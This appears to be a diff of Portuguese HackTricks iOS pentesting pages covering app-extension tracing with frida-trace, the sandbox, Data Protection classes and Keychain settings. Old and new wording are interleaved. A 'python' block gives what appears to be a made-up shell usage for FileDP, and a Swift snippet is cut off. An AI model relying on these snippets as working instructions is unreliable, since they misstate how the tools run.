Apenas os tipos de dados presentes aqui e que não têm `0` como `MaxCount` serão suportados. No entanto, é possível um filtro mais complexo usando uma chamada string de predicado que avaliará os UTIs dados. Por favor, consulte o [Guia de Programação de Extensões de Aplicativos da Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW8) para mais informações detalhadas sobre isso.
|
||||
|
||||
**Verificando o Compartilhamento de Dados com o Aplicativo Contenedor**
|
||||
|
||||
Lembre-se de que as extensões de aplicativos e seus aplicativos contenedores não têm acesso direto aos contêineres um do outro. No entanto, o compartilhamento de dados pode ser habilitado. Isso é feito por meio de ["Grupos de Aplicativos"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple_ref/doc/uid/TP40011195-CH4-SW19) e a API [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults). Veja esta figura do [Guia de Programação de Extensões de Aplicativos da Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW11):
|
||||
|
||||
![](../../mobile-apps-pentesting/ios-pentesting/broken-reference)
|
||||
|
||||
Como também mencionado no guia, o aplicativo deve configurar um contêiner compartilhado se a extensão do aplicativo usar a classe `NSURLSession` para realizar um upload ou download em segundo plano, para que tanto a extensão quanto seu aplicativo contenedor possam acessar os dados transferidos.
|
||||
|
||||
**Verificando se o Aplicativo Restringe o Uso de Extensões de Aplicativos**
|
||||
|
||||
É possível rejeitar um tipo específico de extensão de aplicativo usando o seguinte método:
|
||||
|
||||
* [`application:shouldAllowExtensionPointIdentifier:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623122-application?language=objc)
|
||||
|
||||
No entanto, atualmente isso é possível apenas para extensões de aplicativos de "teclado personalizado" (e deve ser verificado ao testar aplicativos que lidam com dados sensíveis pelo teclado, como por exemplo, aplicativos bancários).
|
||||
Os aplicativos podem restringir certos tipos de extensões, especialmente teclados personalizados, garantindo que o manuseio de dados sensíveis esteja alinhado com os protocolos de segurança.
|
||||
|
||||
### Análise Dinâmica
|
||||
|
||||
Para a análise dinâmica, podemos fazer o seguinte para obter conhecimento sem ter o código-fonte:
|
||||
A análise dinâmica envolve:
|
||||
|
||||
* Inspecionando os itens sendo compartilhados
|
||||
* Identificando as extensões de aplicativos envolvidas
|
||||
- **Inspecionar Itens Compartilhados**: Conecte-se a `NSExtensionContext - inputItems` para ver os tipos de dados compartilhados e suas origens.
|
||||
- **Identificar Extensões**: Descubra quais extensões processam seus dados observando mecanismos internos, como `NSXPCConnection`.
|
||||
|
||||
**Inspecionando os Itens Sendo Compartilhados**
|
||||
Ferramentas como `frida-trace` podem ajudar a entender os processos subjacentes, especialmente para aqueles interessados nos detalhes técnicos da comunicação entre processos.
|
||||
|
||||
Para isso, devemos interceptar `NSExtensionContext - inputItems` no aplicativo de origem dos dados.
|
||||
|
||||
Seguindo o exemplo anterior do Telegram, agora usaremos o botão "Compartilhar" em um arquivo de texto (que foi recebido de um chat) para criar uma nota no aplicativo Notas com ele:
|
||||
|
||||
![](<../../.gitbook/assets/image (497).png>)
|
||||
|
||||
Se executarmos um rastreamento, veríamos a seguinte saída:
|
||||
```bash
|
||||
(0x1c06bb420) NSExtensionContext - inputItems
|
||||
0x18284355c Foundation!-[NSExtension _itemProviderForPayload:extensionContext:]
|
||||
0x1828447a4 Foundation!-[NSExtension _loadItemForPayload:contextIdentifier:completionHandler:]
|
||||
0x182973224 Foundation!__NSXPCCONNECTION_IS_CALLING_OUT_TO_EXPORTED_OBJECT_S3__
|
||||
0x182971968 Foundation!-[NSXPCConnection _decodeAndInvokeMessageWithEvent:flags:]
|
||||
0x182748830 Foundation!message_handler
|
||||
0x181ac27d0 libxpc.dylib!_xpc_connection_call_event_handler
|
||||
0x181ac0168 libxpc.dylib!_xpc_connection_mach_event
|
||||
...
|
||||
RET: (
|
||||
"<NSExtensionItem: 0x1c420a540> - userInfo:
|
||||
{
|
||||
NSExtensionItemAttachmentsKey = (
|
||||
"<NSItemProvider: 0x1c46b30e0> {types = (\n \"public.plain-text\",\n \"public.file-url\"\n)}"
|
||||
);
|
||||
}"
|
||||
)
|
||||
```
|
||||
Aqui podemos observar que:
|
||||
|
||||
* Isso ocorreu sob o capô via XPC, concretamente é implementado através de uma `NSXPCConnection` que usa o Framework `libxpc.dylib`.
|
||||
* Os UTIs incluídos no `NSItemProvider` são `public.plain-text` e `public.file-url`, sendo este último incluído na `NSExtensionActivationRule` do [`Info.plist` da "Share Extension" do Telegram](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist).
|
||||
|
||||
**Identificando as App Extensions Envolvidas**
|
||||
|
||||
Você também pode descobrir qual app extension está cuidando das suas solicitações e respostas ao interceptar `NSExtension - _plugIn`:
|
||||
|
||||
Executamos o mesmo exemplo novamente:
|
||||
```bash
|
||||
(0x1c0370200) NSExtension - _plugIn
|
||||
RET: <PKPlugin: 0x1163637f0 ph.telegra.Telegraph.Share(5.3) 5B6DE177-F09B-47DA-90CD-34D73121C785
|
||||
1(2) /private/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35
|
||||
/Telegram X.app/PlugIns/Share.appex>
|
||||
|
||||
(0x1c0372300) -[NSExtension _plugIn]
|
||||
RET: <PKPlugin: 0x10bff7910 com.apple.mobilenotes.SharingExtension(1.5) 73E4F137-5184-4459-A70A-83
|
||||
F90A1414DC 1(2) /private/var/containers/Bundle/Application/5E267B56-F104-41D0-835B-F1DAB9AE076D
|
||||
/MobileNotes.app/PlugIns/com.apple.mobilenotes.SharingExtension.appex>
|
||||
```
|
||||
Como você pode ver, há duas extensões de aplicativo envolvidas:
|
||||
|
||||
* `Share.appex` está enviando o arquivo de texto (`public.plain-text` e `public.file-url`).
|
||||
* `com.apple.mobilenotes.SharingExtension.appex` que está recebendo e processará o arquivo de texto.
|
||||
|
||||
Se você quiser aprender mais sobre o que está acontecendo nos bastidores em termos de XPC, recomendamos dar uma olhada nas chamadas internas de "libxpc.dylib". Por exemplo, você pode usar [`frida-trace`](https://www.frida.re/docs/frida-trace/) e depois investigar mais a fundo os métodos que achar mais interessantes, estendendo os stubs gerados automaticamente.
|
||||
|
||||
###
|
||||
## Referências
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,106 +1,88 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Separação de Privilégios e Sandbox
|
||||
|
||||
Aplicações acessíveis pelo usuário rodam como o usuário **mobile** enquanto processos críticos do sistema rodam como **root**.\
|
||||
No entanto, o sandbox permite um melhor controle sobre ações que processos e aplicações podem executar.
|
||||
No iOS, existe uma distinção de privilégios entre os aplicativos acessíveis pelo usuário e os processos principais do sistema. Os aplicativos são executados sob a identidade do usuário **`mobile`**, enquanto os processos essenciais do sistema operam como **`root`**. Essa separação é aprimorada por um mecanismo de sandbox, que impõe limitações estritas sobre quais ações os aplicativos podem realizar. Por exemplo, mesmo que os aplicativos compartilhem a mesma identidade de usuário, eles são proibidos de acessar ou modificar os dados uns dos outros.
|
||||
|
||||
Por exemplo, mesmo que dois processos rodem como o mesmo usuário (mobile), eles **não têm permissão para acessar ou modificar os dados um do outro**.
|
||||
|
||||
Cada aplicação é instalada em **`private/var/mobile/Applications/{ID aleatório}`**\
|
||||
Uma vez instaladas, as aplicações têm acesso limitado de leitura a algumas áreas e funções do sistema (SMS, chamada telefônica...). Se uma aplicação deseja acessar uma **área protegida,** um **pop-up solicitando permissão** aparece.
|
||||
Os aplicativos são instalados em um diretório específico (`private/var/mobile/Applications/{ID aleatório}`) e têm acesso de leitura restrito a determinadas áreas e funcionalidades do sistema, como SMS e chamadas telefônicas. O acesso a áreas protegidas desencadeia uma solicitação de permissão do usuário.
|
||||
|
||||
# Proteção de Dados
|
||||
|
||||
Desenvolvedores de aplicativos podem aproveitar as APIs de _Proteção de Dados_ do iOS para implementar **controle de acesso refinado** para dados do usuário armazenados na memória flash. As APIs são construídas em cima do **Secure Enclave Processor** (SEP). O SEP é um coprocessador que fornece **operações criptográficas para proteção de dados e gerenciamento de chaves**. Uma chave de hardware específica do dispositivo - o **device UID** (ID Único) - é **embutida no enclave seguro**, garantindo a integridade da proteção de dados mesmo quando o kernel do sistema operacional está comprometido.
|
||||
O iOS oferece aos desenvolvedores as **APIs de Proteção de Dados**, construídas sobre o Secure Enclave Processor (SEP) — um coprocessador dedicado para operações criptográficas e gerenciamento de chaves. O SEP garante a integridade da proteção de dados por meio de uma chave única específica do dispositivo, o UID do dispositivo, incorporado nele.
|
||||
|
||||
Quando um **arquivo é criado** no disco, uma nova chave **AES de 256 bits é gerada** com a ajuda do gerador de números aleatórios baseado em hardware do enclave seguro. O **conteúdo do arquivo é então criptografado com a chave gerada**. E então, essa **chave é salva criptografada com uma chave de classe** junto com **o ID da classe,** com **ambos os dados criptografados pela chave do sistema,** dentro do **metadado** do arquivo.
|
||||
Ao criar um arquivo, uma chave de criptografia AES de 256 bits única é gerada, criptografando o conteúdo do arquivo. Essa chave de criptografia, juntamente com um ID de classe, é então criptografada usando uma chave de classe e armazenada nos metadados do arquivo. Descriptografar um arquivo envolve usar a chave do sistema para acessar os metadados, recuperar a chave de classe com o ID de classe e, em seguida, descriptografar a chave de criptografia única do arquivo.
|
||||
|
||||
![](<../../.gitbook/assets/image (473).png>)
|
||||
O iOS define **quatro classes de proteção** para segurança de dados, que determinam quando e como os dados podem ser acessados:
|
||||
|
||||
Para descriptografar o arquivo, o **metadado é descriptografado usando a chave do sistema**. Então, **usando o ID da classe** a **chave de classe é recuperada** **para descriptografar a chave do arquivo e descriptografar o arquivo.**
|
||||
- **Proteção Completa (NSFileProtectionComplete)**: Os dados são inacessíveis até que o dispositivo seja desbloqueado usando o código de acesso do usuário.
|
||||
- **Protegido a Menos que Aberto (NSFileProtectionCompleteUnlessOpen)**: Permite o acesso ao arquivo mesmo após o dispositivo ser bloqueado, desde que o arquivo tenha sido aberto quando o dispositivo estava desbloqueado.
|
||||
- **Protegido Até a Primeira Autenticação do Usuário (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Os dados são acessíveis após o primeiro desbloqueio do usuário após a inicialização, permanecendo acessíveis mesmo se o dispositivo for bloqueado novamente.
|
||||
- **Sem Proteção (NSFileProtectionNone)**: Os dados são protegidos apenas pelo UID do dispositivo, facilitando a rápida exclusão remota de dados.
|
||||
|
||||
Arquivos podem ser atribuídos a uma de **quatro** **diferentes** **classes de proteção**, que são explicadas em mais detalhes no [Guia de Segurança da Plataforma Apple](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf):
|
||||
A criptografia de todas as classes, exceto `NSFileProtectionNone`, envolve uma chave derivada tanto do UID do dispositivo quanto do código de acesso do usuário, garantindo que a descriptografia seja possível apenas no dispositivo com o código de acesso correto. A partir do iOS 7, a classe de proteção padrão é "Protegido Até a Primeira Autenticação do Usuário".
|
||||
|
||||
* **Proteção Completa (NSFileProtectionComplete)**: Uma chave derivada do código de acesso do usuário e do device UID protege esta chave de classe. A chave derivada é apagada da memória logo após o dispositivo ser bloqueado, tornando os dados inacessíveis até que o usuário desbloqueie o dispositivo.
|
||||
* **Protegido a Menos que Aberto (NSFileProtectionCompleteUnlessOpen)**: Esta classe de proteção é semelhante à Proteção Completa, mas, se o arquivo estiver aberto quando desbloqueado, o aplicativo pode continuar acessando o arquivo mesmo se o usuário bloquear o dispositivo. Esta classe de proteção é usada quando, por exemplo, um anexo de e-mail está sendo baixado em segundo plano.
|
||||
* **Protegido Até a Primeira Autenticação do Usuário (NSFileProtectionCompleteUntilFirstUserAuthentication)**: O arquivo pode ser acessado assim que o usuário desbloquear o dispositivo pela primeira vez após a inicialização. Ele pode ser acessado mesmo se o usuário bloquear o dispositivo subsequentemente e a chave de classe não for removida da memória.
|
||||
* **Sem Proteção (NSFileProtectionNone)**: A chave para esta classe de proteção é protegida apenas com o UID. A chave de classe é armazenada em "Armazenamento Apagável", que é uma região da memória flash no dispositivo iOS que permite o armazenamento de pequenas quantidades de dados. Esta classe de proteção existe para apagamento remoto rápido (deleção imediata da chave de classe, o que torna os dados inacessíveis).
|
||||
Os desenvolvedores podem usar [**FileDP**](https://github.com/abjurato/FileDp-Source), uma ferramenta para inspecionar a classe de proteção de dados de arquivos em um iPhone.
|
||||
```python
|
||||
# Example code to use FileDP for checking file protection class
|
||||
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
|
||||
# Installation and usage of FileDP:
|
||||
git clone https://github.com/abjurato/FileDp-Source
|
||||
cd FileDp-Source
|
||||
python filedp.py /path/to/check
|
||||
```
|
||||
## **O Keychain**
|
||||
|
||||
Todas as chaves de classe, exceto `NSFileProtectionNone`, são criptografadas com uma chave derivada do device UID e do código de acesso do usuário. Como resultado, a descriptografia só pode ocorrer no próprio dispositivo e requer o código de acesso correto.
|
||||
No iOS, um **Keychain** serve como um **container seguro criptografado** para armazenar **informações sensíveis**, acessíveis apenas pela aplicação que as armazenou ou por aquelas explicitamente autorizadas. Essa criptografia é fortalecida por uma senha única gerada pelo iOS, que por sua vez é criptografada com **AES**. Esse processo de criptografia utiliza uma função **PBKDF2**, combinando o código de acesso do usuário com um salt derivado do **UID** do dispositivo, um componente que apenas o **chipset do enclave seguro** pode acessar. Consequentemente, mesmo que o código de acesso do usuário seja conhecido, o conteúdo do Keychain permanece inacessível em qualquer dispositivo que não seja aquele onde foram originalmente criptografados.
|
||||
|
||||
Desde o iOS 7, a classe de proteção de dados padrão é "Protegido Até a Primeira Autenticação do Usuário".
|
||||
O **gerenciamento e acesso** aos dados do Keychain são tratados pelo **daemon `securityd`**, com base em direitos específicos do aplicativo como `Keychain-access-groups` e `application-identifier`.
|
||||
|
||||
[**FileDP**](https://github.com/abjurato/FileDp-Source) é um programa que você pode carregar e usar dentro do iPhone para **inspecionar a classe de proteção de dados** de cada arquivo.
|
||||
### **Operações da API do Keychain**
|
||||
|
||||
## O Keychain
|
||||
A API do Keychain, detalhada na [documentação dos Serviços do Keychain da Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), fornece funções essenciais para o gerenciamento de armazenamento seguro:
|
||||
|
||||
O keychain é um **container criptografado** onde cada aplicativo pode **armazenar** pedaços de **informação sensível** e apenas o mesmo aplicativo (ou aplicativos autorizados) pode recuperar o conteúdo.\
|
||||
O iOS **gera sua própria senha para o keychain** e **armazena** uma versão **criptografada** desta chave no dispositivo. Esta senha é criptografada com AES usando uma chave AES criada por uma função **PBKDF2** do **código de acesso do usuário + sal** (o **UID de 256 bits do dispositivo** **acessível** **apenas** pelo chipset do enclave **seguro** no dispositivo). Devido ao uso deste UID do dispositivo como sal, um dispositivo não será capaz de descriptografar o keychain de um dispositivo diferente mesmo conhecendo o código de acesso dos usuários.
|
||||
- **`SecItemAdd`**: Adiciona um novo item ao Keychain.
|
||||
- **`SecItemUpdate`**: Atualiza um item existente no Keychain.
|
||||
- **`SecItemCopyMatching`**: Recupera um item do Keychain.
|
||||
- **`SecItemDelete`**: Remove um item do Keychain.
|
||||
|
||||
O acesso ao Keychain é gerenciado pelo daemon **`securityd`**, que concede acesso de acordo com os `Keychain-access-groups`, `application-identifier` e `application-group` entitlements do aplicativo.
|
||||
Forçar a senha do Keychain envolve atacar diretamente a chave criptografada ou tentar adivinhar o código de acesso no próprio dispositivo, dificultado significativamente pela imposição de um atraso entre tentativas falhadas pelo enclave seguro.
|
||||
|
||||
A [API Keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) inclui as seguintes operações principais:
|
||||
### **Configurando a Proteção de Dados do Item do Keychain**
|
||||
|
||||
* `SecItemAdd`
|
||||
* `SecItemUpdate`
|
||||
* `SecItemCopyMatching`
|
||||
* `SecItemDelete`
|
||||
Os níveis de proteção de dados para itens do Keychain são definidos usando o atributo `kSecAttrAccessible` durante a criação ou atualização do item. Esses níveis, [conforme especificado pela Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), determinam quando e como os itens do Keychain são acessíveis:
|
||||
|
||||
As únicas maneiras de tentar força bruta (BF) nesta senha é despejando a chave criptografada e BF o código de acesso + sal (a função **pbkdf2** usa **pelo menos 10000 iterações**). Ou tentando **BF dentro do dispositivo** para evitar BFing o sal, no entanto, o enclave seguro garante que haja pelo menos um **atraso de 5s entre 2 tentativas de senha falhadas**.
|
||||
- **`kSecAttrAccessibleAlways`**: Acessível a qualquer momento, independentemente do status de bloqueio do dispositivo.
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Sempre acessível, mas não incluído em backups.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: Acessível após o primeiro desbloqueio pós-reinício.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Igual ao acima, mas não transferível para novos dispositivos.
|
||||
- **`kSecAttrAccessibleWhenUnlocked`**: Apenas acessível quando o dispositivo está desbloqueado.
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Acessível quando desbloqueado, não incluído em backups.
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Requer código de acesso do dispositivo, não incluído em backups.
|
||||
|
||||
Você pode configurar **proteção de dados para itens do Keychain** definindo a chave `kSecAttrAccessible` na chamada para `SecItemAdd` ou `SecItemUpdate`. Os seguintes valores de acessibilidade configuráveis para kSecAttrAccessible são as classes de Proteção de Dados do Keychain:
|
||||
**`AccessControlFlags`** refinam ainda mais os métodos de acesso, permitindo autenticação biométrica ou uso de código de acesso.
|
||||
|
||||
* **`kSecAttrAccessibleAlways`**: Os dados no item do Keychain podem **sempre ser acessados**, independentemente de o dispositivo estar bloqueado.
|
||||
* **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Os dados no item do Keychain podem **sempre** **ser** **acessados**, independentemente de o dispositivo estar bloqueado. Os dados **não serão incluídos em um backup do iCloud** ou local.
|
||||
* **`kSecAttrAccessibleAfterFirstUnlock`**: Os dados no item do Keychain não podem ser acessados após uma reinicialização até que o **dispositivo tenha sido desbloqueado uma vez** pelo usuário.
|
||||
* **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Os dados no item do Keychain não podem ser acessados após uma reinicialização até que o **dispositivo tenha sido desbloqueado uma vez** pelo usuário. Itens com este atributo **não migram para um novo dispositivo**. Assim, após restaurar de um backup de um dispositivo diferente, esses itens não estarão presentes.
|
||||
* **`kSecAttrAccessibleWhenUnlocked`**: Os dados no item do Keychain podem ser acessados **apenas enquanto o dispositivo está desbloqueado** pelo usuário.
|
||||
* **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Os dados no item do Keychain podem ser acessados **apenas enquanto o dispositivo está desbloqueado** pelo usuário. Os dados **não serão incluídos em um backup do iCloud ou local**.
|
||||
* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Os dados no Keychain podem ser acessados **apenas quando o dispositivo está desbloqueado**. Esta classe de proteção **está disponível apenas se um código de acesso estiver configurado** no dispositivo. Os dados **não serão incluídos em um backup do iCloud ou local**.
|
||||
|
||||
**`AccessControlFlags`** definem os mecanismos com os quais os usuários podem autenticar a chave (`SecAccessControlCreateFlags`):
|
||||
|
||||
* **`kSecAccessControlDevicePasscode`**: Acessar o item via um código de acesso.
|
||||
* **`kSecAccessControlBiometryAny`**: Acessar o item via uma das impressões digitais registradas no Touch ID. Adicionar ou remover uma impressão digital não invalidará o item.
|
||||
* **`kSecAccessControlBiometryCurrentSet`**: Acessar o item via uma das impressões digitais registradas no Touch ID. Adicionar ou remover uma impressão digital _irá_ invalidar o item.
|
||||
* **`kSecAccessControlUserPresence`**: Acessar o item via uma das impressões digitais registradas (usando Touch ID) ou recorrer ao código de acesso.
|
||||
|
||||
Observe que as chaves protegidas pelo Touch ID (via `kSecAccessControlBiometryAny` ou `kSecAccessControlBiometryCurrentSet`) são protegidas pelo Secure Enclave: O Keychain mantém apenas um token, não a chave real. A chave reside no Secure Enclave.
|
||||
|
||||
O iPhone usa o **código de acesso introduzido pelo usuário ao desbloquear o dispositivo para descriptografar os segredos no keychain**.
|
||||
|
||||
O iOS usa o _**AppIdentifierPrefix**_ (ID da Equipe) e o _**BundleIdentifier**_ (fornecido pelo desenvolvedor) para impor **controle de acesso sobre itens do keychain**. Então, a mesma equipe **pode** **configurar** **2 aplicativos para compartilhar itens do keychain**.
|
||||
|
||||
Quando um processo de backup é iniciado, os **dados do keychain que são salvos permanecem criptografados e a senha do keychain não está incluída no backup**.
|
||||
### **Aviso sobre Dispositivos com Jailbreak**
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Em um dispositivo com jailbreak, o keychain não está protegido.**
|
||||
Em **dispositivos com jailbreak**, as proteções do Keychain são comprometidas, representando um risco significativo de segurança.
|
||||
{% endhint %}
|
||||
|
||||
### **Persistência de Dados do Keychain**
|
||||
### **Persistência dos Dados do Keychain**
|
||||
|
||||
No iOS, quando um aplicativo é desinstalado, os dados do Keychain usados pelo aplicativo são retidos pelo dispositivo, ao contrário dos dados armazenados pelo sandbox do aplicativo, que são apagados. No caso de um **usuário vender seu dispositivo sem realizar uma redefinição de fábrica, o comprador do dispositivo pode ser capaz de acessar as contas de aplicativos e dados do usuário anterior reinstalando** os mesmos aplicativos usados pelo usuário anterior. Isso não requereria habilidade técnica para ser realizado.
|
||||
|
||||
Não há uma API do iOS que os desenvolvedores possam usar para forçar a limpeza de dados quando um aplicativo é desinstalado. Em vez disso, os desenvolvedores devem tomar as seguintes medidas para evitar que os dados do Keychain persistam entre instalações de aplicativos:
|
||||
|
||||
* Quando um aplicativo é lançado pela primeira vez após a instalação, limpe todos os dados do Keychain associados ao aplicativo. Isso impedirá que o segundo usuário do dispositivo ganhe acesso acidental às contas do usuário anterior. O seguinte exemplo em Swift é uma demonstração básica deste procedimento de limpeza:
|
||||
```
|
||||
```objectivec
|
||||
Ao contrário dos dados específicos do aplicativo excluídos ao desinstalar o aplicativo, os **dados do Keychain persistem** no dispositivo. Essa característica poderia permitir que novos proprietários de um dispositivo de segunda mão acessem os dados do aplicativo do proprietário anterior simplesmente reinstalando os aplicativos. Os desenvolvedores são aconselhados a limpar proativamente os dados do Keychain ao instalar o aplicativo ou durante o logout para mitigar esse risco. Aqui está um exemplo de código Swift demonstrando como limpar os dados do Keychain no primeiro lançamento do aplicativo:
|
||||
```swift
|
||||
let userDefaults = UserDefaults.standard
|
||||
|
||||
if userDefaults.bool(forKey: "hasRunBefore") == false {
|
||||
|
@ -111,101 +93,64 @@ userDefaults.set(true, forKey: "hasRunBefore")
|
|||
userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
}
|
||||
```
|
||||
* Ao desenvolver a funcionalidade de logout para uma aplicação iOS, certifique-se de que os dados do Keychain são apagados como parte do logout da conta. Isso permitirá que os usuários limpem suas contas antes de desinstalar uma aplicação.
|
||||
# **Capacidades do Aplicativo**
|
||||
|
||||
# **Capacidades da Aplicação**
|
||||
No campo do desenvolvimento de aplicativos, o **sandboxing** desempenha um papel crucial na melhoria da segurança. Esse processo garante que cada aplicativo opere dentro de seu próprio diretório exclusivo, impedindo-o de acessar arquivos do sistema ou dados pertencentes a outros aplicativos. A aplicação dessas restrições é realizada por meio de políticas de sandbox, que fazem parte do **Trusted BSD (MAC) Mandatory Access Control Framework**.
|
||||
|
||||
**Cada aplicação tem um diretório caseiro único e é isolada (sandboxed)**, de modo que não podem acessar recursos protegidos do sistema ou arquivos armazenados pelo sistema ou por outras aplicações. Essas restrições são implementadas através de políticas de sandbox (também conhecidas como _profiles_), que são aplicadas pelo [Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html) através de uma extensão do kernel.
|
||||
Os desenvolvedores têm a capacidade de configurar certas **capacidades ou permissões** para seus aplicativos, como **Proteção de Dados** ou **Compartilhamento de Chaveiro**. Essas permissões são aplicadas imediatamente após a instalação do aplicativo. No entanto, para acessar determinados recursos protegidos, o aplicativo deve obter o consentimento explícito do usuário no momento da primeira tentativa. Isso é alcançado por meio do uso de _strings de propósito_ ou _strings de descrição de uso_, que são apresentadas aos usuários em um alerta de solicitação de permissão.
|
||||
|
||||
Algumas [**capacidades/permissões**](https://help.apple.com/developer-account/#/dev21218dfd6) podem ser configuradas pelos desenvolvedores da aplicação (por exemplo, Proteção de Dados ou Compartilhamento de Keychain) e terão efeito direto após a instalação. No entanto, para outras, **o usuário será explicitamente solicitado na primeira vez que a aplicação tentar acessar um recurso protegido**.
|
||||
